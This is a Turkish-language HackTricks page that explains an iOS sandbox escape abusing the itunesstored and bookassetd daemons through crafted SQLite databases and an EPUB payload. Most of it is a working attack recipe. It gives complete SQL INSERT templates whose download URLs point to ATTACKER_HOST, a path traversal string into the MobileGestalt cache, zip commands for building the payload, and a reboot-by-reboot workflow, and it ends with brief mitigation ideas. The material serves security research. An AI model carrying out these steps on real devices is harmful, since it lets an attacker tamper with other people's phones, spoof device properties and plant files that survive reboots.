itunesstored & bookassetd Sandbox Escape

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

Son araştırmalar, önceden yüklü iki iOS daemon’ının, itunesstored (downloads manager) ve bookassetd (Books / iBooks asset manager), kullanıcı tarafından yazılabilen SQLite metadata’sına körü körüne güvendiğini gösteriyor. Hazırlanmış downloads.28.sqlitedb ve BLDatabaseManager.sqlite dosyalarını ile minimal bir EPUB arşivi bırakmak suretiyle, /var/mobile/Media/ altında yazma yetkisi olan bir saldırgan bu daemon’ları /private/var/ içindeki çoğu mobile sahipli yola rastgele dosya yazmaları yapmaya zorlayabilir. Bu yetenekler yeniden başlatmalardan sonra da kalır ve cihaz özelliklerini taklit etmek veya konfigürasyonu kalıcı hale getirmek için systemgroup.com.apple.mobilegestaltcache gibi system group önbelleklerine müdahale etmenize olanak sağlar.

Ana özellikler:

  • En azından iOS 26.2b1’e kadar olan cihazlarda çalışır (iPhone 12 / iOS 26.0.1 üzerinde test edildi).
  • Yazılabilir hedefler arasında SystemGroup önbellekleri, /private/var/mobile/Library/FairPlay, /private/var/mobile/Media ve diğer mobile sahipli dosyalar bulunur. root sahipli dosyalara yazma işlemleri başarısız olur.
  • Sadece AFC-level erişimi (USB file copy) veya hedef SQLite DB’lerini değiştirmeye ve payload yüklemeye izin veren herhangi bir foothold gerekir.

Tehdit Modeli & Gereksinimler

  1. /var/mobile/Media/Downloads/ ve /var/mobile/Media/Books/ üzerinde yerel dosya sistemi erişimi (3uTools, i4.cn gibi AFC istemcileri veya afcclient üzerinden USB ile, veya önceki herhangi bir kompromis).
  2. Saldırgan dosyalarını (BLDatabaseManager.sqlite, iTunesMetadata.plist, hazırlanmış EPUB) barındıran bir HTTP server; ör. https://ATTACKER_HOST/fileprovider.php?type=... gibi URL’ler üzerinden erişilebilir.
  3. Her daemon’ın veritabanını yeniden yüklemesi için cihazı birden fazla kez yeniden başlatabilme kabiliyeti.
  4. Stage 1 yazmasının doğru container’a düşmesini sağlamak için Books system-group UUID bilgisinin bilinmesi (syslog üzerinden bulunur).

Aşama 1 – downloads.28.sqlitedb’nin itunesstored üzerinden kötüye kullanımı

itunesstored /var/mobile/Media/Downloads/downloads.28.sqlitedb dosyasını işler. asset tablosu URL + hedef metadata’sını saklar ve güvenilir girdi olarak ele alınır. Bir satırı saldırgan URL’sine işaret edecek şekilde hazırlayıp local_path’i Books SystemGroup içindeki .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite olarak ayarlamak, itunesstored’un açılışta Books veritabanını indirip saldırgan içeriğiyle üzerine yazmasına neden olur.

Books SystemGroup UUID’sini Bulma

  1. pymobiledevice3 ile bir syslog arşivi toplayın:
pymobiledevice3 syslog collect logs.logarchive
  1. logs.logarchive’ı Console.app içinde açın ve bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite için arama yapın.
  2. <UUID>’yi kaydedin ve SQL payload’ında yerine koyun.

Kötü amaçlı asset satırı

Stage 1 INSERT template ```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup//Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 ); ```

Önemli alanlar:

  • url: kötücül BLDatabaseManager.sqlite dosyasını döndüren saldırgan-kontrollü endpoint.
  • local_path: yukarıda belirlenen Books system-group BLDatabaseManager.sqlite dosyası.
  • Kontrol bayrakları: daemon’un görevi kabul etmesi için varsayılanları koruyun (asset_type='media', path_extension='epub', şablondaki boolean’lar 0/1 olarak ayarlı).

Dağıtım

  1. Yarış durumlarını önlemek için eski /var/mobile/Media/Downloads/* girdilerini silin.
  2. AFC üzerinden downloads.28.sqlitedb dosyasını hazırlanmış DB ile değiştirin.
  3. Yeniden başlat → itunesstored Stage 2 veritabanını indirir ve /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist dosyasını bırakır.
  4. O plist’i /var/mobile/Media/Books/iTunesMetadata.plist konumuna kopyalayın; Stage 2 bu konumu bekler.

Stage 2 – bookassetd aracılığıyla BLDatabaseManager.sqlite’in kötüye kullanımı

bookassetd daha geniş dosya sistemi yetkilerine sahiptir ve ZBLDOWNLOADINFO tablosuna güvenir. ZPLISTPATH içinde saldırgan URL’lerine referans veren ve traversal içeren sahte bir satın alma satırı ekleyerek, daemon EPUB dosyanızı /var/mobile/Media/Books/asset.epub konumuna indirir ve daha sonra meta verileri ../../.. kaçış dizileriyle ulaşılabilen herhangi bir mobile-sahipli yolun içine açar.

Malicious ZBLDOWNLOADINFO row

Stage 2 INSERT şablonu ```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```

Önemli alanlar:

  • ZASSETPATH: disk üzerindeki, saldırgan tarafından kontrol edilen EPUB konumu.
  • ZURL/ZPERMLINK: EPUB ve yardımcı plist’i barındıran saldırgan URL’leri.
  • ZPLISTPATH: ../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library – EPUB’dan çıkarılan dosyalara eklenen path traversal base. İstenen SystemGroup hedefine ulaşmak için traversal derinliğini ayarlayın.
  • Satın alma metadata’sı (ZSTOREIDENTIFIER, isimler, zaman damgaları) daemon’ın satırı yok saymaması için meşru girdileri taklit eder.

Kötü amaçlı DB’yi /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite içine kopyaladıktan (Stage 1 sayesinde) ve cihazı iki kez yeniden başlattıktan sonra, bookassetd (1) EPUB’i indirecek, (2) işleyecek ve türetilmiş plist’i geçilen yolun altına yazacaktır.

EPUB Payload Hazırlama

bookassetd EPUB ZIP formatına uyar: mimetype ilk sıkıştırılmamış giriş olmalıdır. EPUB içeriğini MobileGestalt önbelleğine eşlemek için, ZPLISTPATH’e göre istenen yolu yansıtan bir dizin ağacı oluşturun.

Caches/
├── mimetype
└── com.apple.MobileGestalt.plist

Arşivi oluşturun:

zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
  • mimetype genellikle application/epub+zip değerini içerir.
  • Caches/com.apple.MobileGestalt.plist saldırgan kontrollü yükü barındırır; bu yük .../Library/Caches/com.apple.MobileGestalt.plist yoluna yerleşecektir.

Orkestrasyon İş Akışı

  1. Saldırgan HTTP sunucusunda dosyaları hazırlayın ve her iki SQLite DB’yi host/UUID’ye özel değerlerle oluşturun.
  2. Cihazdaki downloads.28.sqlitedb’yi değiştirin ve yeniden başlatın → Aşama 1 kötü amaçlı BLDatabaseManager.sqlite’yi indirir ve /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist’ı üretir.
  3. iTunesMetadata.plist’i /var/mobile/Media/Books/iTunesMetadata.plist konumuna kopyalayın (daemon silerse tekrarlayın).
  4. Tekrar yeniden başlatınbookassetd, Aşama 2 metadata’sını kullanarak asset.epub’i /var/mobile/Media/Books/ dizinine indirir.
  5. Üçüncü kez yeniden başlatınbookassetd indirilen varlığı işler, ZPLISTPATH’i takip eder ve EPUB içeriğini hedeflenen SystemGroup yoluna (ör. com.apple.MobileGestalt.plist) yazar.
  6. Doğrulayın: üzerine yazılan plist’i okuyarak veya MobileGestalt kaynaklı özelliklerin (model identifier, activation flags vb.) buna göre değiştiğini gözlemleyerek doğrulayın.

Aynı desen, FairPlay state veya persistence dizinleri gibi diğer mobile sahipli önbelleklerin altına dosya bırakmanıza izin verir; böylece kernel exploit gerekmeden gizli müdahale mümkün olur.

Araçlar ve Operasyonel Notlar

  • pymobiledevice3 syslog collect logs.logarchive – Books SystemGroup UUID’sini keşfetmek için log arşivlerini çıkarın.
  • Console.app – tam konteyner yolunu kurtarmak için bookassetd [Database]: Store is at ... filtresini kullanın.
  • AFC clients (afcclient, 3uTools, i4.cn) – jailbreak olmadan USB üzerinden SQLite DB’lerini ve plist dosyalarını push/pull yapmak için kullanın.
  • zip – payload paketlerken EPUB sıralama kısıtlamalarını zorlayın.
  • Public PoChttps://github.com/hanakim3945/bl_sbx özelleştirebileceğiniz temel SQLite/EPUB şablonlarını içerir.

Tespit ve Hafifletme Fikirleri

  • downloads.28.sqlitedb ve BLDatabaseManager.sqlite’yi güvenilmeyen girdi olarak ele alın: local_path / ZPLISTPATH’in onaylı sandboxlar içinde kaldığını doğrulayın ve tam nitelikli yolları veya traversal token’larını reddedin.
  • Bu veritabanlarını değiştiren AFC yazma işlemlerini veya başlatmadan kısa süre sonra itunesstored / bookassetd tarafından başlatılan beklenmeyen indirmeleri izleyin.
  • bookassetd’nin açmasını sertleştirin: çıktı hedefini realpath() ile çözümlü hale getirip, dosya yazmadan önce Books konteynerinden çıkamayacağından emin olun.
  • AFC / USB dosya kopyalama kanallarını kısıtlayın veya Books/iTunes metadata dosyalarının değiştirilmesine izin vermeden önce kullanıcı etkileşimi gerektirin.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin